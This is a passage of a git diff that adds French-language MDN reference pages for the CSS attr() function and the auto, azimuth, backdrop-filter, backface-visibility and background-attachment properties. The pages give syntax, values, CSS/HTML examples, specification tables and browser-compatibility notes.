+    <td>La valeur de l'attribut est analysée comme une fréquence ({{cssxref("&lt;frequency&gt;")}}) et inclut l'unité (par exemple <code>30.5kHz</code>). Si elle n'est pas valide (ce n'est pas une fréquence ou celle-ci n'est pas comprise dans l'intervalle autorisé), ce sera la valeur par défaut qui sera utilisée. Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>0Hz</code>, ou, si <code>0Hz</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>Hz</code>, <code>kHz</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;frequency&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme un nombre ({{cssxref("&lt;number&gt;")}}) sans unité (par exemple <code>12.5</code>) et est interprétée comme une fréquence grâce à l'unité indiquée. Si la valeur n'est pas valide (ce n'est pas un nombre ou celui-ci n'est pas compris dans l'intervalle autorisé), ce sera la valeur par défaut qui sera utilisée.<br>
+     Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>0Hz</code>, ou, si <code>0Hz</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+   <tr>
+    <td><code>%</code> {{experimental_inline}}</td>
+    <td>{{cssxref("&lt;percentage&gt;")}}</td>
+    <td>La valeur de l'attribut est analysée comme un nombre ({{cssxref("&lt;number&gt;")}}) sans unité (par exemple <code>12.5</code>) et est interprétée comme un pourcentage ({{cssxref("&lt;percentage&gt;")}}). Si elle n'est pas valide (ce n'est pas un nombre ou celui-ci n'est pas compris dans l'intervalle autorisé par la propriété), ce sera la valeur par défaut qui sera utilisée.<br>
+     Si la valeur fournie est utilisée comme une longueur, <code>attr()</code> calcule la longueur absolue correspondante.<br>
+     Les blancs en début et en fin de chaîne sont supprimés.</td>
+    <td><code>0%</code>, ou, si <code>0%</code> n'est pas valide, la valeur minimale de la propriété.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>&lt;fallback&gt;</code> {{experimental_inline}}</dt>
+ <dd>La valeur qui sera utilisée si l'attribut est absent ou contient une valeur invalide. La valeur indiquée avec ce paramètre doit être valide et ne doit pas contenir une autre expression <code>attr()</code>. Si <code>attr()</code> n'est pas le seul composant de la valeur d'une propriété, la valeur <code>&lt;fallback&gt;</code> doit correspondre au type défini par <code>&lt;type-or-unit&gt;</code>. Si ce paramètre n'est pas utilisé, le moteur de rendu utilisera la valeur par défaut définie par <code>&lt;type-or-unit&gt;</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_propriété_content">Utiliser la propriété <code>content</code></h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;p data-toto="coucou"&gt;world&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[2] notranslate">[data-toto]::before {
+  content: attr(data-toto) " ";
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_la_propriété_content", "100%", "50")}}</p>
+
+<h3 id="Valeur_&lt;color>">Valeur <code>&lt;color&gt;</code></h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html; notranslate">&lt;div class="background" data-background="lime"&gt;&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css; notranslate">html,
+body,
+.background {
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css; highlight[6] notranslate">.background {
+  background-color: red;
+}
+
+.background[data-background] {
+  background-color: attr(data-background color, red);
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Valeur_&lt;color&gt;", "100%", "50")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Values", "#attr-notation", "attr()")}}</td>
+   <td>{{Spec2("CSS4 Values")}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#attr-notation', 'attr()')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Ajout de deux paramètres optionnels. La fonction peut être utilisée sur toutes les propriétés et renvoyer des valeurs qui ne sont pas des chaînes de caractères. Ces modifications sont expérimentales et pourront être abandonnées pour la recommandation si la prise en charge des navigateurs est trop faible.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#x18', 'attr()')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Utilisation limitée à {{cssxref("content")}}, la fonction renvoie toujours une chaîne de caractères ({{cssxref("&lt;string&gt;")}}).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.attr")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Sélecteurs_d_attribut">Sélecteur d'attribut</a></li>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels/data-*">Attributs HTML <code>data-*</code></a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute/data-*">Attributs SVG <code>data-*</code></a></li>
+</ul>
diff --git a/files/fr/web/css/auto/index.html b/files/fr/web/css/auto/index.html
new file mode 100644
index 0000000000..363f2c2b82
--- /dev/null
+++ b/files/fr/web/css/auto/index.html
@@ -0,0 +1,28 @@
+---
+title: auto
+slug: Web/CSS/auto
+tags:
+  - CSS
+  - Référence CSS
+translation_of: Web/CSS/width
+---
+<p>{{ CSSRef() }}</p>
+<h2 id="Résumé">Résumé</h2>
+<p>Indique qu'une valeur est calculée de manière automatique par le navigateur. Les effets de <code>auto</code> sont différents suivant la propriété à laquelle la valeur est affectée.</p>
+<h2 id="Utilisation">Utilisation</h2>
+<ul>
+ <li>{{ Cssxref("overflow") }}</li>
+ <li>{{ Cssxref("overflow-x") }}</li>
+ <li>{{ Cssxref("overflow-y") }}</li>
+ <li>{{ Cssxref("cursor") }}</li>
+ <li>{{ Cssxref("width") }}</li>
+ <li>{{ Cssxref("height") }}</li>
+ <li>{{ Cssxref("marker-offset") }}</li>
+ <li>{{ Cssxref("margin") }}</li>
+ <li>margin-* (left|bottom|top|right|start|end)</li>
+ <li>{{ Cssxref("bottom") }}</li>
+ <li>{{ Cssxref("left") }}</li>
+ <li>{{ Cssxref("table-layout") }}</li>
+ <li>{{ Cssxref("z-index") }}</li>
+ <li>{{ Cssxref("column-width") }}</li>
+</ul>
diff --git a/files/fr/web/css/azimuth/index.html b/files/fr/web/css/azimuth/index.html
new file mode 100644
index 0000000000..c8143dcaac
--- /dev/null
+++ b/files/fr/web/css/azimuth/index.html
@@ -0,0 +1,104 @@
+---
+title: azimuth
+slug: Web/CSS/azimuth
+tags:
+  - CSS
+  - Obsolete
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/azimuth
+---
+<div>{{CSSRef}}{{obsolete_header}}{{outdated}}</div>
+
+<p>Utilisée avec la propriété {{cssxref("elevation")}}, <strong><code>azimuth</code></strong> permet de positionner différentes sources audio dans l'espace pour une présentation auditive. Cela permet de séparer les voix de façons naturelles, qui pourront donc provenir de différents emplacements. Une sortie <em>stereo</em> permettra d'obtenir un son avec des sources situées sur deux dimensions, des écouteurs binauriculaires permettent d'obtenir un son tri-dimensionnel.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>angle</dt>
+ <dd>Un angle indiquant la position de la source dans l'intervalle <code>-360deg</code> - <code>360deg</code>. La valeur <code>0deg</code> (la valeur par défaut) est dirigée vers le centre, <code>90deg</code> vers la droite, <code>180deg</code> vers l'arrière et <code>270deg</code> ou <code>-90deg</code> vers la gauche.</dd>
+</dl>
+
+<p><img alt="Image:Azimuth.png" src="/@api/deki/files/37/=Azimuth.png"></p>
+
+<h4 id="Mots-clés_pour_cette_propriété">Mots-clés pour cette propriété</h4>
+
+<ul>
+ <li><strong><code>left-side</code></strong> : Synonyme de <code>270deg</code>.</li>
+ <li><strong><code>left-side behind</code></strong> : Synonyme de <code>270deg</code>.</li>
+ <li><strong><code>far-left</code></strong> : Synonyme de <code>300deg</code>.</li>
+ <li><strong><code>far-left behind</code></strong> : Synonyme de <code>240deg</code>.</li>
+ <li><strong><code>left</code></strong> : Synonyme de <code>320deg</code>.</li>
+ <li><strong><code>left behind </code></strong>: Synonyme de <code>220deg</code>.</li>
+ <li><strong><code>center-left</code></strong> : Synonyme de <code>340deg</code>.</li>
+ <li><strong><code>center-left behind</code></strong> : Synonyme de <code>200deg</code>.</li>
+ <li><strong><code>center</code></strong> : Synonyme de <code>0deg</code>.</li>
+ <li><strong><code>center behind </code></strong>: Synonyme de <code>180deg</code>.</li>
+ <li><strong><code>center-right</code></strong> : Synonyme de <code>20deg</code>.</li>
+ <li><strong><code>center-right behind</code></strong> : Synonyme de <code>160deg</code>.</li>
+ <li><strong><code>right</code></strong> : Synonyme de <code>40deg</code>.</li>
+ <li><strong><code>right behind</code></strong> : Synonyme de <code>140deg</code>.</li>
+ <li><strong><code>far-right</code></strong> : Synonyme de <code>60deg</code>.</li>
+ <li><strong><code>far-right behind</code></strong> : Synonyme de <code>120deg</code>.</li>
+ <li><strong><code>right-side</code></strong> : Synonyme de <code>90deg</code>.</li>
+ <li><strong><code>right-side behind</code></strong> : Synonyme de <code>90deg</code>.</li>
+ <li><strong><code>behind</code></strong> : Synonyme de <code>180deg</code>. Also used as a modifier for other positional keyword values, as above.</li>
+ <li><strong><code>leftwards </code></strong>: Moves the sound counter-clockwise by 20 degrees, relative to the current angle.</li>
+ <li><strong><code>rightwards </code></strong>: Moves the sound clockwise by 20 degrees, relative to the current angle.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css;">h1 {
+  azimuth: 30deg;
+}
+
+td.a {
+  azimuth: far-right;
+}
+
+#12 {
+  azimuth: behind far-right;  /* 120deg */
+}
+
+p.comment {
+  azimuth: behind;  /* 180deg */
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'aural.html#spatial-props', 'azimuth')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.azimuth")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("elevation")}}</li>
+</ul>
diff --git a/files/fr/web/css/backdrop-filter/index.html b/files/fr/web/css/backdrop-filter/index.html
new file mode 100644
index 0000000000..a84b25a18e
--- /dev/null
+++ b/files/fr/web/css/backdrop-filter/index.html
@@ -0,0 +1,138 @@
+---
+title: backdrop-filter
+slug: Web/CSS/backdrop-filter
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/backdrop-filter
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété CSS <code><strong>backdrop-filter</strong></code> permet d'obtenir un effet de flou ou de diffusion de la couleur sur la zone derrière l'élément. L'effet étant situé <em>derrière</em> l'élément, il pourra être observé en ajustant la transparence de l'élément.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+backdrop-filter: none;
+
+/* Une valeur d'URL vers un filtre SVG */
+backdrop-filter: url(commonfilters.svg#filter);
+
+/* Les notations fonctionnelles pour les filtres */
+/* Valeur de type &lt;filter-function&gt; */
+backdrop-filter: blur(2px);
+backdrop-filter: brightness(60%);
+backdrop-filter: contrast(40%);
+backdrop-filter: drop-shadow(4px 4px 10px blue);
+backdrop-filter: grayscale(30%);
+backdrop-filter: hue-rotate(120deg);
+backdrop-filter: invert(70%);
+backdrop-filter: opacity(20%);
+backdrop-filter: sepia(90%);
+backdrop-filter: saturate(80%);
+
+/* On enchaîne plusieurs filtres */
+backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%);
+
+/* Valeurs globales */
+backdrop-filter: inherit;
+backdrop-filter: initial;
+backdrop-filter: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé qui indique qu'aucun filtre n'est appliqué sur l'ombre portée.</dd>
+ <dt><code>&lt;filter-function-list&gt;</code></dt>
+ <dd>Une liste de fonctions de filtre (cf. {{cssxref("&lt;filter-function&gt;")}}), séparées par des espaces et qui seront appliquées à l'ombre. Les différentes fonctions qui peuvent être utilisées sont les mêmes que pour la propriété {{cssxref("filter")}}. On peut également utilisere <a href="/fr/docs/Web/SVG/Element/filter">un filtre SVG</a>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css language-css">.box {
+  background-color: rgba(255, 255, 255, 0.95);
+  border-radius: 5px;
+  font-family: sans-serif;
+  text-align: center;
+  line-height: 1;
+  backdrop-filter: blur(10px);
+  -webkit-backdrop-filter: blur(10px);
+  max-width: 50%;
+  max-height: 50%;
+  padding: 20px 40px;
+}
+
+html, body {
+  height: 100%;
+  width: 100%;
+}
+
+body {
+  background-image: url('https://lorempixel.com/400/200/');
+  background-position: center center;
+  background-repeat: no-repeat;
+  background-size: cover;
+}
+
+.container {
+  align-items: center;
+  display: flex;
+  justify-content: center;
+  height: 100%;
+  width: 100%;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div class="box"&gt;
+    &lt;p&gt;backdrop-filter: blur(10px)&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', "600", "400")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 2.0', '#BackdropFilterProperty', 'backdrop-filter')}}</td>
+   <td>{{Spec2('Filters 2.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.backdrop-filter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("filter")}}</li>
+ <li><a href="https://product.voxmedia.com/til/2015/2/17/8053347/css-ios-transparency-with-webkit-backdrop-filter">Construire des effets de transparences comme sur iOS avec <code>backdrop-filter</code> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/backface-visibility/index.html b/files/fr/web/css/backface-visibility/index.html
new file mode 100644
index 0000000000..66ebec410a
--- /dev/null
+++ b/files/fr/web/css/backface-visibility/index.html
@@ -0,0 +1,217 @@
+---
+title: backface-visibility
+slug: Web/CSS/backface-visibility
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/backface-visibility
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>backface-visibility</code></strong> indique si la face arrière d'un élément doit être visible lorsqu'elle est orientée vers l'utilisateur. La face arrière d'un élément est un arrière-plan transparent qui, lorsqu'il est visible, permet de voir un reflet symétrique de la face avant de l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Dans certains cas, on souhaite que la face avant ne soit pas visible par transparence. Par exemple, si on souhaite simuler une carte à jouer qu'on retourne.</p>
+
+<p>Cette propriété n'aura aucun effet tant que les transformations appliquées sont uniquement en 2D car aucun effet de perspective ne sera introduit.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+backface-visibility: visible;
+backface-visibility: hidden;
+
+/* Valeurs globales */
+backface-visibility: inherit;
+backface-visibility: initial;
+backface-visibility: unset;</pre>
+
+<p>La propriété <code>backface-visibility</code> est définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>Ce mot-clé indique que la face arrière est visible lorsqu'elle est tournée vers l'utilisateur. Cela permet d'obtenir un effet miroir sur la face avant.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>Ce mot-clé indique que la face arrière n'est pas visible. La face avant est donc cachée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on dessine un cube avec des faces transparentes.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Des classes utilitaires pour afficher ou
+   masquer les faces arrières du cube */
+.hidebf div {
+  backface-visibility: hidden;
+}
+
+.showbf div {
+  backface-visibility: visible;
+}
+
+/* On définit les règles pour le conteneur, */
+/* le cube et une face quelconque */
+.container {
+  width: 150px;
+  height: 150px;
+  margin: 75px 0 0 75px;
+  border: none;
+}
+
+.cube {
+  width: 100%;
+  height: 100%;
+  perspective: 550px;
+  perspective-origin: 150% 150%;
+  transform-style: preserve-3d;
+}
+
+.face {
+  display: block;
+  position: absolute;
+  width: 100px;
+  height: 100px;
+  border: none;
+  line-height: 100px;
+  font-family: sans-serif;
+  font-size: 60px;
+  color: white;
+  text-align: center;
+}
+
+/* On définit chacune des faces */
+.front {
+  background: rgba(0, 0, 0, 0.3);
+  transform: translateZ(50px);
+}
+
+.back {
+  background: rgba(0, 255, 0, 1);
+  color: black;
+  transform: rotateY(180deg) translateZ(50px);
+}
+
+.right {
+  background: rgba(196, 0, 0, 0.7);
+  transform: rotateY(90deg) translateZ(50px);
+}
+
+.left {
+  background: rgba(0, 0, 196, 0.7);
+  transform: rotateY(-90deg) translateZ(50px);
+}
+
+.top {
+  background: rgba(196, 196, 0, 0.7);
+  transform: rotateX(90deg) translateZ(50px);
+}
+
+.bottom {
+  background: rgba(196, 0, 196, 0.7);
+  transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* On améliore le rendu du tableau */
+th, p, td {
+  background-color: #EEEEEE;
+  margin: 0px;
+  padding: 6px;
+  font-family: sans-serif;
+  text-align: left;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th&gt;&lt;code&gt;backface-visibility: visible;&lt;/code&gt;&lt;/th&gt;
+      &lt;th&gt;&lt;code&gt;backface-visibility: hidden;&lt;/code&gt;&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;
+        &lt;div class="container"&gt;
+          &lt;div class="cube showbf"&gt;
+            &lt;div class="face front"&gt;1&lt;/div&gt;
+            &lt;div class="face back"&gt;2&lt;/div&gt;
+            &lt;div class="face right"&gt;3&lt;/div&gt;
+            &lt;div class="face left"&gt;4&lt;/div&gt;
+            &lt;div class="face top"&gt;5&lt;/div&gt;
+            &lt;div class="face bottom"&gt;6&lt;/div&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+        &lt;p&gt;
+          Toutes les faces sont transparentes et les trois
+          faces arrières sont visibles au travers des faces
+          avant.
+        &lt;/p&gt;
+      &lt;/td&gt;
+      &lt;td&gt;
+        &lt;div class="container"&gt;
+          &lt;div class="cube hidebf"&gt;
+            &lt;div class="face front"&gt;1&lt;/div&gt;
+            &lt;div class="face back"&gt;2&lt;/div&gt;
+            &lt;div class="face right"&gt;3&lt;/div&gt;
+            &lt;div class="face left"&gt;4&lt;/div&gt;
+            &lt;div class="face top"&gt;5&lt;/div&gt;
+            &lt;div class="face bottom"&gt;6&lt;/div&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+        &lt;p&gt;
+          Aucune face n'est opaque mais les trois faces arrières
+          sont désormais cachées.
+        &lt;/p&gt;
+      &lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 360)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#propdef-backface-visibility', 'backface-visibility')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.backface-visibility")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Utiliser les transformations CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/background-attachment/index.html b/files/fr/web/css/background-attachment/index.html
new file mode 100644
index 0000000000..05febc28f8
--- /dev/null
+++ b/files/fr/web/css/background-attachment/index.html
@@ -0,0 +1,151 @@
+---
+title: background-attachment
+slug: Web/CSS/background-attachment
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-attachment
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>background-attachment</code></strong> définit si la position de l'image d'arrière-plan est fixée dans la zone d'affichage (<em>viewport</em>) ou si celle-ci défile avec le bloc englobant.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-attachment.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+background-attachment: scroll;
+background-attachment: fixed;
+background-attachment: local;
+
+/* Valeurs globales */
+background-attachment: inherit;
+background-attachment: initial;
+background-attachment: unset;
+</pre>
+
+<p>La propriété <code>background-attachment</code> est définie avec un des mots-clés de la liste suivante.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>fixed</code></dt>
+ <dd>Ce mot-clé indique que l'arrière-plan est fixe par rapport à la zone d'affichage (<em>viewport</em>). Ainsi, même si l'élément dispose d'outils de défilement, l'arrière-plan ciblé ne se déplacera pas avec l'élément (cette valeur n'est pas compatible avec {{cssxref("background-clip", "background-clip: text", "#text")}}).</dd>
+ <dt><code>local</code></dt>
+ <dd>Ce mot-clé indique que l'arrière-plan se déplace avec le contenu de l'élément associé. Ainsi, si l'élément défile, l'arrière-plan défilera avec. Les zones de positionnement et de dessin de l'arrière-plan sont relatives à la zone de l'élément plutôt qu'au cadre extérieur.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Ce mot-clé indique que l'arrière-plan est fixé par rapport au contenu de l'élément (il ne défile pas avec) mais est rattaché à la bordure de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css; highlight:[3];">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+  background-attachment: fixed;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple")}}</p>
+
+<h3 id="Gestion_de_plusieurs_arrière-plans">Gestion de plusieurs arrière-plans</h3>
+
+<p>On peut utiliser cette propriété lorsqu'on travaille avec plusieurs images en arrière-plan. On peut définir, pour chaque image, un <code>background-attachment</code> spécifique. Pour cela, on utilisera une liste, séparée par des virgules. Les images seront associées dans l'ordre à chaque propriété d'attachement.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css; highlight:[3];">p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+  background-attachment: fixed, scroll;
+  background-repeat: no-repeat, repeat-y;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+
+  Suddenly she came upon a little three-legged table, all made of solid
+  glass; there was nothing on it except a tiny golden key, and Alice's
+  first thought was that it might belong to one of the doors of the hall;
+  but, alas! either the locks were too large, or the key was too small,
+  but at any rate it would not open any of them. However, on the second
+  time round, she came upon a low curtain she had not noticed before, and
+  behind it was a little door about fifteen inches high: she tried the
+  little golden key in the lock, and to her great delight it fitted!
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Gestion_de_plusieurs_arrière-plans")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>La propriété a été étendue pour gérer plusieurs arrière-plans et la valeur <code>local</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-attachment', 'background-attachment')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div class="hidden">Les données de compatibilité présentées sur cette page sont générées à partir de données structurées. Si vous souhaitez contribuer à ces données, vous pouvez soumettre une <em>pull request</em> sur le dépôt <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.background-attachment")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Backgrounds_and_Borders/Utiliser_plusieurs_arrière-plans" title="CSS/Multiple backgrounds">Gérer plusieurs arrière-plans</a></li>
+</ul>
diff --git a/files/fr/web/css/background-blend-mode/index.html b/files/fr/web/css/background-blend-mode/index.html
new file mode 100644
